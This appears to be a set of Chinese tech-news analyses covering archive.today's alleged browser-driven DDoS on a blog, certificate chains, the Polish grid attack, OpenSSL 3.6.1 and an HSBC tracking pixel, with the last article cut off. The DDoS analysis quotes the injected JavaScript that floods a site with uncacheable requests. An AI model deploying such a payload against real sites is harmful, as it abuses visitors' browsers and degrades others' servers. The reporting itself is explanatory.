archive.today 利用用户浏览器发起 DDoS 攻击事件分析一、新闻概述1. 标题archive.today 利用用户浏览器对个人博客发起 DDoS 攻击2. 发布时间2026 年 2 月 1 日3. 来源Gyrovague 个人博客（gyrovague.com）二、核心内容1. 事件摘要A. 主要内容知名网页存档服务 archive.today 被曝利用访问其验证码（CAPTCHA）页面的用户浏览器，对 Gyrovague 博客发起分布式拒绝服务攻击。B. 核心亮点archive.today 在验证码页面注入恶意 JavaScript 代码每 300 毫秒向目标博客发起随机字符串搜索请求阻止响应缓存，最大化资源消耗事件源于一篇 2023 年发布的 archive.today 调查文章2. 关键信息A. 攻击时间线攻击开始时间：约 2026 年 1 月 11 日首次公开发现：2026 年 1 月 14 日（Hacker News 用户 rabinovich）B. 涉及技术JavaScript 定时器（setInterval）Fetch APICORS no-cors 模式Referrer 策略隐藏C. 攻击目标目标网站：Gyrovague（gyrovague.com）攻击向量：随机字符串搜索请求资源消耗：服务器 CPU 和带宽3. 背景介绍A. 前置事件2023 年 8 月 5 日，Gyrovague 发布了一篇题为《archive.today：追踪互联网神秘的游击队档案员》的调查文章，使用 OSINT 技术分析了该网站的历史、技术栈和资金来源，并提及三个与网站相关的化名。B. 相关上下文2025 年 11 月：FBI 传唤 archive.today 的域名注册商 Tucows2026 年 1 月：有人以 GDPR 投诉尝试要求删除该文章2026 年 1 月：archive.today 网站管理员邮件要求暂时删除文章三、详细报道1. 攻击技术分析A. 恶意代码分析archive.today 在其验证码页面注入以下 JavaScript 代码：setInterval(function() { fetch("https://gyrovague.com/?s=" + Math.random().toString(36).substring(2, 3 + Math.random() * 8), { referrerPolicy: "no-referrer", mode: "no-cors" }); }, 300);代码功能解析：使用 setInterval 每 300 毫秒执行一次请求生成随机字符串作为搜索参数（防止缓存）使用 no-cors 模式绕过跨域限制使用 no-referrer 策略隐藏来源B. 攻击原理graph LR A[用户访问 archive.today] --> B[重定向到 CAPTCHA 页面] B --> C[加载恶意 JavaScript] C --> D[每 300ms 发起请求] D --> E[Gyrovague.com 服务器] E --> F[生成随机搜索 URL] F --> E E --> G[服务器资源消耗]C. 防御措施uBlock Origin 等广告拦截器可阻止请求执行2026 年 1 月 21 日，gyrovague.com 被添加到 DNS 阻止列表2. 事件时间线A. 时间线概览时间事件2023-08-05发布 archive.today 调查文章2025-11-05Heise Online 报道 FBI 调查 archive.today2025-11-13AdGuard DNS 披露 WAAD 组织施压事件2026-01-08收到 GDPR 投诉（Nora Puchreiner）2026-01-10archive.today 管理员邮件要求删除文章2026-01-11DDoS 攻击开始（推测时间）2026-01-14Hacker News 用户首次公开发现攻击2026-01-21gyrovague.com 被添加到 DNS 阻止列表2026-01-25archive.today 方面发出威胁邮件B. 关键事件详解GDPR 投诉事件：投诉人：Nora Puchreiner投诉内容：文章包含大量个人数据，语调和语境具有诽谤性质处理结果：Automattic（WordPress.com）支持文章作者，拒绝删除邮件沟通记录：archive.today 管理员要求暂时删除文章数月作者提议修改部分措辞，拒绝完全删除后续邮件演变为威胁，包括人身攻击3. 身份迷雾A. 相关身份Nora Puchreiner：发送 GDPR 投诉的联系人在 Hacker News 上评论过原始文章拥有俄罗斯 LiveJournal 账户，发布过反盗版组织相关内容曾在 KrebsonSecurity 网站上有争议性言论rabinovich：在 Hacker News 上首次公开 DDoS 攻击提交过竞争性存档网站 Ghostarchive匹配与 archive.today 相关的 Masha Rabinovich 姓名Richard Président：来自 WAAD（Web Abuse Association Defense）组织主动提供 GDPR 反投诉帮助试图进行身份验证B. 组织背景WAAD（Web Abuse Association Defense）：一家法国组织曾向 AdGuard DNS 施压要求屏蔽 archive.today 域名被指控冒充他人4. 技术细节A. 攻击影响评估资源消耗：每个用户每秒发起约 3.3 次请求假设 1000 个用户访问验证码页面，每秒约 3300 次请求随机参数确保响应无法被 CDN 缓存实际影响：目标网站使用固定费率托管计划实际经济损失为零主要影响为服务器资源消耗B. 攻击动机分析根据 Mastodon 上的对话记录，archive.today 管理员声称攻击目的是：吸引注意力增加目标网站的托管费用作者认为这可能是一种误导性的自我防御方式，反映出调查压力对网站管理员的影响。四、影响分析1. 行业影响A. 网页存档服务信任危机archive.today 作为知名存档服务，此次行为引发对其道德立场的质疑用户开始担心访问存档网站时自身的安全性B. 隐私与安全关注验证码页面通常被视为安全区域，此次事件打破了这种信任用户浏览器被滥用发动攻击，侵犯了用户自主权2. 技术趋势A. 浏览器安全防护广告拦截器在此事件中发挥了保护作用提醒用户安装浏览器安全扩展的重要性B. 网络取证技术事件展示了如何通过网络请求分析发现恶意行为Hacker News 社区在事件曝光中发挥了重要作用3. 法律与伦理A. GDPR 滥用问题GDPR 被用作审查已发布信息的工具新闻自由与隐私保护之间的平衡问题B. 网络攻击责任利用用户浏览器发动攻击的法律责任归属问题网站管理员对其托管内容的控制权边界五、各方反应1. 业内评价A. Hacker News 社区用户 rabinovich 首次发现并公开攻击行为社区对 archive.today 的行为表示谴责讨论了网页存档服务的重要性和透明度问题B. 技术社区AdGuard DNS 披露了相关组织的施压行为DNS 阻止列表快速响应，将目标网站添加至保护列表2. 用户反馈A. 正面评价赞赏作者坚持不删除文章的立场支持对存档服务的透明度调查B. 负面评价部分用户认为调查文章损害了存档服务的可用性有人认为攻击是对作者调查行为的"报复"C. 中立观察事件凸显了网络信息存档的复杂性和敏感性呼吁存档服务提高透明度和问责制六、相关链接1. 官方公告Gyrovague 博客原文：archive.today is directing a DDOS attack against my blog2. 相关报道Heise Online：Archive.today FBI Demands Data from Provider TucowsArsTechnica：FBI subpoena tries to unmask mysterious founder of archive.todayAdGuard DNS Blog：archive.today AdGuard DNS block demand3. 技术文档Hacker News 讨论：Ask HN: Weird archive.today behavior?原始调查文章：archive.today: On the trail of the mysterious guerrilla archivist of the Internet4. 技术资源DNS 阻止列表：hagezi/dns-blocklists邮件记录副本：lightly redacted copy of the entire email thread参考资料archive.today is directing a DDOS attack against my blog - Gyrovague
网站证书从担心到不担心：证书链信任机制深度解析
网站证书从担心到不担心：证书链信任机制深度解析一、背景：为什么会担心证书到期？假设一个网站域名是 www.baidu.com，由第三方客户通过 curl 进行调用。通过 sitecertcheck 工具检查发现，该网站的证书链中的中间证书有效期到 2028 年。问题来了：到了 2028 年，用户的 curl 调用是否依然有效呢？证书过期后会不会导致 HTTPS 连接失败？这是一个常见的担心，尤其是对于需要长期稳定运行的系统集成场景。二、证书链结构分析2.1 www.baidu.com 的证书链使用 sitecertcheck 工具检查 www.baidu.com 的证书链，发现其证书链包含 3 级证书：graph TB subgraph "客户端信任库" Root[根证书 GlobalSign Root CA 系统预置信任] end subgraph "服务器返回的证书链" Server[#1 服务器证书 CN=baidu.com 📅 2026-08-10到期 188天] Inter1[#2 中间证书 GlobalSign RSA OV SSL CA 2018 📅 2028-11-21到期 1021天] Inter2[#3 中间证书 GlobalSign Root CA - R3 📅 2028-01-28到期 724天] end Server -->|签发| Inter1 Inter1 -->|签发| Inter2 Inter2 -->|签发| Root style Server fill:#e3f2fd style Inter1 fill:#fff3e0 style Inter2 fill:#fff3e0 style Root fill:#e8f5e92.2 证书链关键信息摘要级别证书类型主题有效期截止剩余天数#1服务器证书CN=baidu.com2026-08-10188天#2中间证书GlobalSign RSA OV SSL CA 20182028-11-211021天#3中间证书GlobalSign Root CA - R32028-01-28724天可以看到，证书链中的 中间证书 最晚将在 2028 年到期。这正是我们担心的焦点。三、证书验证流程当客户端（如 curl）访问 www.baidu.com 时，SSL/TLS 握手和证书验证的完整流程如下：sequenceDiagram participant C as 客户端 (curl) participant S as 服务器 (www.baidu.com) participant T as 系统信任库 (/etc/ssl/cert.pem) Note over C,S: TLS握手开始 C->>S: 1. ClientHello（支持的加密套件） S->>C: 2. ServerHello + 证书链 （3个证书：服务器+2个中间证书） Note over C: 证书链验证开始 C->>C: 3. 验证证书#1签名 （使用证书#2的公钥） C->>C: 4. 验证证书#2签名 （使用证书#3的公钥） C->>T: 5. 查找根证书 （查询：GlobalSign Root CA - R3） T-->>C: 6. 返回匹配的根证书 （有效期至2029-03-18） C->>C: 7. 验证证书#3签名 （使用根证书公钥） Note over C: ✅ 信任链验证通过 C->>S: 8. 建立加密连接核心验证步骤证书链完整性验证：逐级验证每个证书的数字签名，确保证书由上级 CA 合法签发信任锚点查找：在系统信任库（如 /etc/ssl/cert.pem）中查找根证书有效期检查：确认当前时间在所有证书的有效期内验证结果通过 sitecertcheck 检查，当前验证结果为：✅ 证书链验证：通过✅ 系统信任：匹配根证书 #97（GlobalSign Root CA - R3）✅ 根证书有效期：2029-03-18（剩余 1139 天）四、为什么不用担心 2028 年到期？4.1 系统信任库中的 GlobalSign 根证书通过 sitecertcheck listca 命令查看系统信任库，发现系统中预置了 多个 GlobalSign 根证书，有效期各不相同：序号根证书有效期截止剩余天数#34/#35GlobalSign2038-01-194367天#64GlobalSign2034-12-103231天#97GlobalSign Root CA - R32029-03-181139天#101GlobalSign Root CA2028-01-28724天关键发现：系统中有 GlobalSign 根证书的有效期可达 2038 年，远远超过当前中间证书的到期时间。4.2 证书续签机制当中间证书在 2028 年到期时，会发生什么？graph LR subgraph "2026年 当前状态" A[baidu.com服务器证书 有效期至2026-08] end subgraph "2028年 证书续签" B[中间证书即将到期 2028-01 & 2028-11] C[续签新证书] end subgraph "系统信任库（持续更新）" D1[GlobalSign Root CA - R3 有效期至2029年] D2[GlobalSign Root CA 有效期至2038年] D3[其他GlobalSign根证书 有效期至2038年] end A -->|2026年前续签| C C -->|可选择签发| D1 C -->|可选择签发| D2 C -->|可选择签发| D3 style A fill:#ffebee style B fill:#fff9c4 style C fill:#e1f5fe style D1 fill:#e8f5e9 style D2 fill:#e8f5e9 style D3 fill:#e8f5e9 Note1[💡 关键点： 系统信任库中有多个 GlobalSign根证书可用] style Note1 fill:#f3e5f5证书续签的完整流程提前续签：网站运营者会在证书到期前（通常提前几个月）向 CA（GlobalSign）申请续签新证书更换信任链：新签发的证书可以选择指向有效期更长的根证书（如有效期至 2038 年的 GlobalSign 根证书）无缝切换：客户端系统中已经预置了有效期至 2038 年的 GlobalSign 根证书，新证书链会自动被系统信任向下兼容：curl 等客户端工具会自动使用新的证书链进行验证，无需任何配置更改4.3 为什么客户端不受影响？关键在于：根证书预置：操作系统和浏览器在出厂时就预置了主流 CA 的根证书根证书长期有效：根证书的有效期通常为 20-30 年，远超中间证书和服务器证书透明更新：当服务器更新证书时，客户端自动使用新的证书链，整个过程对用户透明多根证书冗余：同一个 CA（如 GlobalSign）会维护多个根证书，确保平滑过渡五、结论✅ 无须担心：证书到期问题可以通过续签机制妥善解决核心要点证书链是分层的：服务器证书 → 中间证书 → 根证书根证书预置在系统中：客户端系统信任库中预置了多个有效期长的根证书证书到期前可续签：网站运营者会在证书到期前续签，并可选择指向有效期更长的根证书客户端自动适配：只要系统信任库保持更新，证书验证就能持续有效，无需用户干预最终答案到了 2028 年，curl 调用是否依然有效？是的，依然有效。因为：网站会在 2028 年前续签新证书新证书会指向有效期至 2038 年的根证书客户端系统中已经有该根证书，自动信任新证书链整个过程对 curl 等客户端完全透明附录附录 A：sitecertcheck 完整输出（证书链检查）以下是使用 sitecertcheck www.baidu.com 命令的完整输出：(base) jacky@JackydeMac-Pro:/tmp$ sitecertcheck www.baidu.com [INFO] 正在测试 2 个系统CA证书路径... [INFO] 测试路径: /etc/ssl/cert.pem [SUCCESS] ✓ 找到可用的CA证书文件: /etc/ssl/cert.pem 正在测试系统 CA 证书路径... 测试了 1 个路径，找到 1 个可用 ✓ /etc/ssl/cert.pem [SUCCESS] 测试完成 [INFO] 正在检查 www.baidu.com:443 的SSL证书... 正在检查 www.baidu.com:443 的SSL证书... 证书链中共有 3 个证书 序号 类型 起始时间 结束时间 剩余天数 状态 ------------------------------------------------------------------------------------------------------ 1 服务器证书 2025-07-09 07:01:02 2026-08-10 07:01:01 188 有效 ====================================================================================================== 主题: CN=baidu.com O=Beijing Baidu Netcom Science Technology Co., Ltd L=beijing ST=beijing C=CN 颁发者: CN=GlobalSign RSA OV SSL CA 2018 O=GlobalSign nv-sa C=BE 序列号: 27025959261604984493724308777 签名算法: SHA256-RSA 公钥: RSA 2048 位 ====================================================================================================== 2 中间证书 2018-11-21 00:00:00 2028-11-21 00:00:00 1021 有效 ====================================================================================================== 主题: CN=GlobalSign RSA OV SSL CA 2018 O=GlobalSign nv-sa C=BE 颁发者: CN=GlobalSign OU=GlobalSign Root CA - R3 O=GlobalSign 序列号: 153000603918210013455007253847 签名算法: SHA256-RSA 公钥: RSA 2048 位 ====================================================================================================== 3 中间证书 2018-09-19 00:00:00 2028-01-28 12:00:00 724 有效 ====================================================================================================== 主题: CN=GlobalSign OU=GlobalSign Root CA - R3 O=GlobalSign 颁发者: CN=GlobalSign Root CA OU=Root CA O=GlobalSign nv-sa C=BE 序列号: 153000549611226544087872427626 签名算法: SHA256-RSA 公钥: RSA 2048 位 ====================================================================================================== 验证摘要: -------------------------------------------------- 证书链验证: ✓ 通过 系统信任: ✓ 受信任 匹配的系统根证书: #[97] (listca) 主题: CN=GlobalSign, OU=GlobalSign Root CA - R3, O=GlobalSign 颁发者: CN=GlobalSign, OU=GlobalSign Root CA - R3, O=GlobalSign 过期时间: 2029-03-18 10:00:00 剩余天数: 1139 位置: /etc/ssl/cert.pem -------------------------------------------------- [SUCCESS] 检查完成 证书 #1: 主题: CN=baidu.com, O=Beijing Baidu Netcom Science Technology Co., Ltd, L=beijing, ST=beijing, C=CN 颁发者: CN=GlobalSign RSA OV SSL CA 2018, O=GlobalSign nv-sa, C=BE 有效期: 起始时间: 2025-07-09 07:01:02 结束时间: 2026-08-10 07:01:01 证书 #2: 主题: CN=GlobalSign RSA OV SSL CA 2018, O=GlobalSign nv-sa, C=BE 颁发者: CN=GlobalSign, OU=GlobalSign Root CA - R3, O=GlobalSign 有效期: 起始时间: 2018-11-21 00:00:00 结束时间: 2028-11-21 00:00:00 证书 #3: 主题: CN=GlobalSign, OU=GlobalSign Root CA - R3, O=GlobalSign 颁发者: CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE 有效期: 起始时间: 2018-09-19 00:00:00 结束时间: 2028-01-28 12:00:00 [SUCCESS] 共输出 3 个证书附录 B：系统根证书列表（GlobalSign 相关）以下是使用 sitecertcheck listca | grep GlobalSign 命令查看系统中 GlobalSign 相关根证书的输出：(base) jacky@JackydeMac-Pro:/tmp$ sitecertcheck listca | grep GlobalSign [INFO] 正在获取系统CA根证书... [INFO] 共找到 113 个系统CA证书 [SUCCESS] 共显示 103 个证书 34 GlobalSign GlobalSign 2012-11-13 00:00:00 2038-01-19 03:14:07 9198 4367 35 GlobalSign GlobalSign 2012-11-13 00:00:00 2038-01-19 03:14:07 9198 4367 64 GlobalSign GlobalSign 2014-12-10 00:00:00 2034-12-10 00:00:00 7305 3231 97 GlobalSign GlobalSign 2009-03-18 10:00:00 2029-03-18 10:00:00 7305 1139 101 GlobalSign Root CA GlobalSign Root CA 1998-09-01 12:00:00 2028-01-28 12:00:00 10741 724从输出可以看到，系统中存在 5 个 GlobalSign 根证书，其中：#34 和 #35：有效期至 2038-01-19，剩余 4367 天（约 12 年）#64：有效期至 2034-12-10，剩余 3231 天（约 9 年）#97：有效期至 2029-03-18，剩余 1139 天（约 3 年），当前使用的根证书#101：有效期至 2028-01-28，剩余 724 天（约 2 年）这些根证书为未来的证书续签提供了充足的选择空间。
首次披露！国家级电网险遭大停电，数十处电站通信设备被攻击瘫痪
首次披露！国家级电网险遭大停电，数十处电站通信设备被攻击瘫痪安全内参编译安全内参在小说阅读器中沉浸阅读关注我们带你读懂网络安全结合多家安全厂商的事件响应报告，波兰电网险遭大停电事件，带有明显的IT、OT协同攻击特征，攻击者通过防火墙等边界系统漏洞突破了数十个分布式电站的网络防护，劫持RTU通信设备令其无法运行和恢复，并在IT网络传播数据擦除器，试图造成停电影响。前情回顾·我怎么被黑的？从瘫痪到恢复：一家老牌医院如何熬过勒索软件攻击后的5个月？因外包人员失误：这家保险巨头内网沦陷、发生严重数据泄露事件Okta被黑溯源：系统设计曝重大漏洞，机器账号未做安全防护勒索攻击溯源报告：一个帐号被盗，一个城市政务服务停摆安全内参1月29日消息，去年12月，波兰电网基础设施遭遇了一次网络攻击，险些引发大规模停电。最新报告显示，黑客对该国不同地区的多处能源设施发动攻击，至少导致约30个站点的通信设备失效。美国工控安全公司Dragos参与了其中一家受攻击组织的取证调查。Dragos表示，黑客成功禁用了用于监测和控制其他设备的通信系统，这类系统被称为远程终端单元（RTU）。黑客攻击让这些RTU无法运行，且无法修复。不过，在这近30个站点中，此次攻击并未引发停电，也未对发电和输电设备造成其他影响。Dragos表示，攻击者针对的大多数设备并非直接隶属于控制基础设施，而是与电网安全和稳定性监测相关的系统。尽管它们不是主动的发电控制系统，但在监测功能和维持电网稳定方面仍发挥着重要作用。该公司指出，如果攻击者获得了这些系统的完全运行控制权，可能会造成"显著不同"的影响。Dragos还表示，此次攻击似乎是"机会主义"的，而非经过充分策划和精准定向的行动。受影响的站点由多家能源实体负责管理，其中包括2家热电联产电厂，以及多处用于管理风电和光伏等可再生能源调度的设施。Dragos并未披露其调查涉及的是哪一家实体。同时破坏IT、OT系统以扩大攻击影响欧洲终端安全厂商ESET上周发布报告披露称，此次攻击涉及一种被称为擦除器（wiper）的恶意软件，其目的是擦除目标设施中IT系统上的文件。不过，目前尚不清楚攻击者是否实际启动了该擦除功能来清除这些系统。结合Dragos披露的最新情况，可以推断，这是一场多管齐下的网络攻击，同时针对了IT系统和OT（运营技术）系统。IT系统通常是工程师用于监控和管理运行情况的笔记本电脑或台式Windows系统，而OT系统则是工厂或设施中执行实际功能或操作的工业设备。通过同时攻击IT和OT系统，攻击者不仅能够扰乱运行，还能削弱工程师监控这些功能或恢复运行的能力，从而放大攻击影响。这正是2015年针对乌克兰电网的一次攻击中所发生的情况，而那次攻击被认为同样由袭击波兰的这一组织实施。在那次行动中，黑客结合了多种手段来扩大停电影响。他们使用脚本断开断路器，引发停电，同时还覆盖了RTU上的固件，使操作人员无法向RTU下达重新接通断路器、恢复供电的指令。他们还擦除了操作人员的IT系统，以制造混乱，使其更难从攻击中恢复并恢复供电。Dragos表示，波兰此次攻击缺乏这种协调有序的攻击序列，可能是因为黑客攻击的近30个站点中，每一个站点都需要执行不同的人工操作才能产生影响，无法通过单一的自动化工具同时攻击所有站点。攻击者偏向"机会主义"动机尽管波兰遭到的这次攻击被发现时，尚未对电网造成任何影响，但波兰当局表示，如果攻击成功，可能会导致多达50万名波兰民众断电。这意味着，如果攻击者操纵或禁用了其已获得访问权限的OT设备，确实有可能引发大规模停电。Dragos表示，攻击者具备造成比仅仅禁用通信设备更大破坏的能力，但此次攻击看起来更像是机会主义行为，而非精准定向、周密策划的行动。更有可能的是，黑客发现了一些存在漏洞、可以被访问的系统，并对其进行测试和探索，试图了解自己能够做到什么，但缺乏足够的时间和准备来实施更进一步的破坏。如果给予更多时间，攻击者本可以造成更为严重的影响，而他们最终只是利用了当时能够利用的一切。Dragos写道："这次行动看起来十分仓促，但无法评估其背后的原因。"不过，Dragos指出，即便假设攻击者采取了更多行动，由于波兰当前电网的结构方式，此类攻击更可能导致局部停电，而非全国范围内的大规模停电。Dragos表示，波兰发生的事件是对电网运营商的一次警告：规模较小的可再生能源系统如今也已成为攻击目标。这是首起针对分布式能源资源的重大网络攻击，而这些较小规模的风电、光伏和热电联产设施，正日益成为全球电网的重要组成部分。沙虫组织被指为幕后黑手以上信息来自Dragos公司前天（周二）发布的分析报告。据波兰政府及波兰计算机应急响应团队预告，他们将在明天（周五）发布一份包含更多技术细节的报告。波兰政府已将矛头指向俄罗斯，ESET也以"中等置信度"将此次攻击归因于沙虫（Sandworm）组织。Sandworm是一个与俄罗斯总参谋部情报总局（GRU）相关的黑客组织。Dragos似乎也同意这一判断，不过其使用的名称是Electrum。Sandworm曾在2015年和2016年对乌克兰电网部分区域发动过多次协同攻击。这些攻击与波兰此次事件存在一些相似之处，但也存在重要差异。此前的攻击针对的是集中式设施或变电站，这些设施负责控制大范围区域内的能源分配。例如，2015年的攻击针对的是管理跨区域能量流动的配电控制中心，而2016年的攻击则针对了一座输电变电站。相比之下，波兰此次攻击针对的是位于这些设施上游、并向其供能的设备和系统。这类系统数量更多，但各自负责的发电和配电份额较小，因此需要同时攻击更多系统，才能产生显著影响。然而，由于这些系统具有分布式特性，运营商依赖通过互联网进行远程连接来管理和控制它们，这在潜在上使其可被黑客访问。此外，由于这些系统通常比大型集中式系统获得的安全关注更少，它们也更加脆弱。边界设备漏洞助长了攻击Dragos表示，为了接触到RTU，攻击者首先利用了"防火墙等边缘系统"中的漏洞。防火墙作为互联网与其后方设备之间的网关，用于防止未经授权的访问。但波兰的这些防火墙或"边缘系统"存在漏洞，使攻击者能够绕过防护并访问RTU。Dragos并未说明攻击者利用的漏洞具体性质，例如是否涉及防火墙软件中未打补丁的安全漏洞，或是运营人员在配置中的错误，从而让黑客得以绕过防护。但由于这些设备具有相同的配置或漏洞，攻击者几乎在30个站点中都成功绕过了防护。运营人员通过单一的SCADA系统使用RTU来管理大量设施。出于效率考虑，资产所有者往往在所有站点部署相同型号、相同配置的RTU，这使攻击者更容易入侵，并设计针对多个RTU的协同攻击。Dragos指出："当相同型号的防火墙在多个发电站点部署，并且存在相同的漏洞或配置错误时，单一的利用手段就可能演变为系统级的全面失陷。"Dragos还指出，攻击者在多个被攻击站点中"未触发检测机制"便成功入侵系统。这一点，加之网络日志记录不足，使得在行动被发现之后，调查人员很难判断攻击者是否曾尝试下达可能影响电力分配的指令。尽管看起来攻击者并未向RTU及其所控制的设备下达指令，Dragos表示，由于设备和网络日志记录不足，无法确定攻击者是否曾尝试这样做，还是仅仅专注于禁用RTU。分布式电站被协同攻击极易引发电网故障波兰与许多国家一样，其部分电力来源于数量众多的小型可再生能源资源，可再生能源约占其发电量的25%。用于管理这些资源的系统往往在地理上分散于各个地区。针对单个可再生能源设施发动攻击，其影响小于攻击集中式变电站，但Dragos指出，如果攻击者能够操纵这些设施，并对其中许多同时发动协同攻击，仍有可能造成广泛影响。去年发生在西班牙和葡萄牙的一次停电事件就证明了这一点。当时，涉及可再生能源系统的频率波动导致不稳定，并在伊比利亚电网中引发级联效应。西班牙的这次停电并未被归因于网络攻击，但它展示了当这些分布式系统引发频率波动时，电网其他部分为了平衡供需而进行调整和响应，可能会产生怎样的后果。Dragos指出，尽管受影响的设施仅占波兰能源供应中的一小部分，但如果这部分发电能力突然且同时丧失，其对电网频率的影响将非常明显，甚至可能引发其他系统的级联故障。这种频率波动在去年的伊比利亚电网崩溃中发挥了作用，也几乎存在于过去10年中大多数重大停电事件之中。注：奇安信客户如有兴趣，可联系对口销售，免费获取进一步的分析报告，包括原厂商报告全文等。参考资料：zetter-zeroday.com推荐阅读网安智库平台长期招聘兼职研究员欢迎加入"安全内参热点讨论群"点击下方卡片关注我们，带你一起读懂网络安全
OpenSSL 3.6.1 正式发布技术分析一、新闻概述1. 标题守护互联网安全的 OpenSSL 3.6.1 正式发布，修复多个高危漏洞2. 发布时间2025 年 1 月（具体日期未在原文中注明）3. 来源民工哥技术之路微信公众号二、核心内容1. 事件摘要A. 主要内容OpenSSL 项目正式发布 OpenSSL 3.6.1 版本，这是 3.6 版本的首个维护更新版本。该版本主要聚焦于安全漏洞修复、稳定性增强和功能改进。B. 核心亮点修复 12 个 CVE 安全漏洞，包括多个高危漏洞解决回归问题，恢复 3.6.0 之前的部分行为新增 LMS 签名验证和 FIPS 186-5 标准支持引入 NIST 安全等级分类和新的密钥管理接口2. 关键信息A. 版本号OpenSSL 3.6.1B. 重要数据修复漏洞数量：12 个 CVE涉及组件：PKCS#12、CMS、TLS 1.3、BIO、OCSP 等C. 涉及产品OpenSSL 加密库、FIPS 提供程序3. 背景介绍A. 前置版本OpenSSL 3.6 系列是 OpenSSL 3.x 的最新分支，3.6.1 是该系列的首个维护版本。B. 相关上下文OpenSSL 是互联网最广泛使用的加密库之一，为 HTTPS、VPN、SSH 等协议提供底层加密支持。此次更新对于维护网络安全具有重要意义。三、详细报道1. 主要内容A. 漏洞修复OpenSSL 3.6.1 修复了 12 个 CVE 安全漏洞，其中包括：CVE-2025-11187：PKCS#12 MAC 验证中 PBMAC1 参数验证不当CVE-2025-15467：CMS AuthEnvelopedData 解析中的栈缓冲区溢出CVE-2025-15468：SSL_CIPHER_find() 函数空指针解引用CVE-2025-15469：OpenSSL dgst 静默截断大于 16 MiB 的输入CVE-2025-66199：TLS 1.3 CompressedCertificate 过度内存分配CVE-2025-68160：BIO_f_linebuffer 堆越界写入CVE-2025-69418：OCB 函数调用中未经身份验证的尾随字节CVE-2025-69419：PKCS12_get_friendlyname() UTF-8 转换越界写入CVE-2025-69420：TS_RESP_verify_response() 缺少 ASN1_TYPE 验证CVE-2025-69421：PKCS12_item_decrypt_d2i_ex() 空指针解引用CVE-2026-22795：PKCS#12 解析缺少 ASN1_TYPE 验证CVE-2026-22796：PKCS7_digest_from_attributes() ASN1_TYPE 类型混淆B. 稳定性增强回归问题修复恢复 X509_V_FLAG_CRL_CHECK_ALL 标志的 3.6.0 之前行为修复钉扎 OCSP 响应处理时的握手失败问题错误处理优化修复 BIO_f_linebuffer 在短写入时的堆越界写入修复 PKCS12_item_decrypt_d2i_ex() 函数空指针解引用C. 功能改进加密能力提升为 PKEY 对象引入 NIST 安全等级分类支持 EVP_SKEY 不透明对称密钥对象新增三个密钥派生函数接口：EVP_KDF_CTX_set_SKEY、EVP_KDF_derive_SKEY、EVP_PKEY_derive_SKEY合规性增强默认和 FIPS 提供程序中加入 LMS（Leighton-Micali 签名）验证实现基于 FIPS 186-5 标准的确定性 ECDSA 签名生成工具使用体验优化新增 openssl configutl 工具，用于读取和解析 OpenSSL 配置文件2. 技术细节A. 漏洞分类graph TD A[OpenSSL 3.6.1 漏洞] --> B[缓冲区溢出类] A --> C[指针引用类] A --> D[验证缺失类] A --> E[内存管理类] B --> B1[CMS 栈溢出] B --> B2[BIO 堆越界写入] B --> B3[UTF-8 越界写入] C --> C1[SSL_CIPHER_find 空指针] C --> C2[PKCS12 空指针] D --> D1[PKCS#12 验证不当] D --> D2[ASN1_TYPE 验证缺失] D --> D3[类型混淆] E --> E1[TLS 1.3 过度分配] E --> E2[dgst 静默截断]B. 架构变化OpenSSL 3.6.1 在架构层面的变化主要体现在提供程序模块的增强：graph LR A[OpenSSL 核心] --> B[默认提供程序] A --> C[FIPS 提供程序] B --> D[传统算法] B --> E[LMS 签名验证] B --> F[NIST 安全等级] C --> G[FIPS 140-2 合规] C --> H[FIPS 186-5 ECDSA] C --> E E --> I[金融行业合规] E --> J[医疗行业合规] E --> K[政府行业合规]C. 兼容性说明不再兼容 ANSI-C 工具链，需使用 C-99 标准编译器移除对 VxWorks 平台的官方支持部分 EVP_PKEY_ASN1_METHOD 相关函数被标记为弃用3. 数据与事实A. 漏洞严重程度高危漏洞：至少 5 个（缓冲区溢出、空指针解引用等）中危漏洞：多个（验证缺失、内存管理问题）B. 影响范围所有使用 OpenSSL 3.6.0 的系统依赖 PKCS#12、CMS、TLS 1.3 等功能的应用四、影响分析1. 行业影响A. 技术趋势安全漏洞修复仍是 OpenSSL 维护的重中之重合规性需求（FIPS、行业特定标准）持续驱动功能演进B. 竞争格局OpenSSL 仍是事实上的行业标准，替代品（如 LibreSSL、BoringSSL）市场份额有限2. 用户影响A. 现有用户升级成本：中等（需测试兼容性）收益：修复高危漏洞，提升系统安全性B. 潜在用户新增合规性功能可能吸引金融、医疗等行业用户C. 迁移建议建议尽快升级至 3.6.1 以修复已知漏洞升级前需测试依赖 OpenSSL 的应用程序注意编译器兼容性变化（C-99 要求）3. 技术趋势A. 技术方向持续强化安全验证机制增强行业合规性支持优化开发者工具和使用体验B. 生态影响LMS 签名验证的引入可能促进后量子密码学的采用NIST 安全等级分类有助于标准化加密算法选择五、各方反应1. 官方回应OpenSSL 项目组强调此次更新是重要的安全补丁版本，建议所有用户升级。2. 业内评价A. 专家观点漏洞修复及时，体现了 OpenSSL 项目组对安全的重视新增的合规性功能对企业用户具有吸引力B. 社区反馈社区普遍认可此次更新的安全价值部分开发者关注弃用 API 的迁移成本六、相关链接1. 官方公告OpenSSL 3.6.1 发布公告（OpenSSL 官网）2. 相关报道民工哥技术之路微信公众号3. 技术文档OpenSSL 3.6.1 变更日志CVE 详细信息（MITRE、NVD）参考资料守护互联网安全的 OpenSSL 3.6.1 正式发布！这次又升级更新了啥呢？
HSBC 邮件追踪像素事件技术分析一、事件概述1. 事件背景2025 年 9 月，HSBC 银行向一位客户发送实体信函，声称发送给该客户的邮件被「退回且无法送达」，要求客户更新账户中的电子邮件地址。然而，客户实际上一直正常接收银行的所有邮件。2. 核心问题HSBC 使用追踪像素来监控客户是否阅读邮件，但该技术被隐私保护工具拦截，银行错误地将「无法追踪」理解为「邮件未送达」。3. 事件严重程度用户影响：误导性通知导致客户困扰安全风险：使用未加密 HTTP 传输追踪像素隐私问题：未经同意的邮件阅读监控二、事件经过1. 初始阶段：收到误导性信函客户收到 HSBC 实体信函，内容如下：声称发给客户的邮件被「退回且无法送达」要求客户更新在线银行账户中的电子邮件地址标注为「需要采取行动」然而，客户的邮箱中实际上正常存放着来自 HSBC 的最新邮件。2. 在线验证阶段客户按照信函指示登录银行账户，发现：账户中记录的电子邮件地址完全正确无需进行任何更新3. 客服沟通阶段A. 在线客服回应通过银行应用程序与客服代表 Ankitha 进行长达一小时沟通后，对方坚持表示：「如果银行发送了这封信，您就必须更新电子邮件地址」B. 电话客服回应直接致电客户服务部门后获得不同答复：「如果您的电子邮件地址已经正确，则可以忽略我们的来信」三、技术分析1. 追踪像素工作原理HSBC 在其邮件底部嵌入了追踪像素代码： A. 追踪像素是什么追踪像素是 1×1 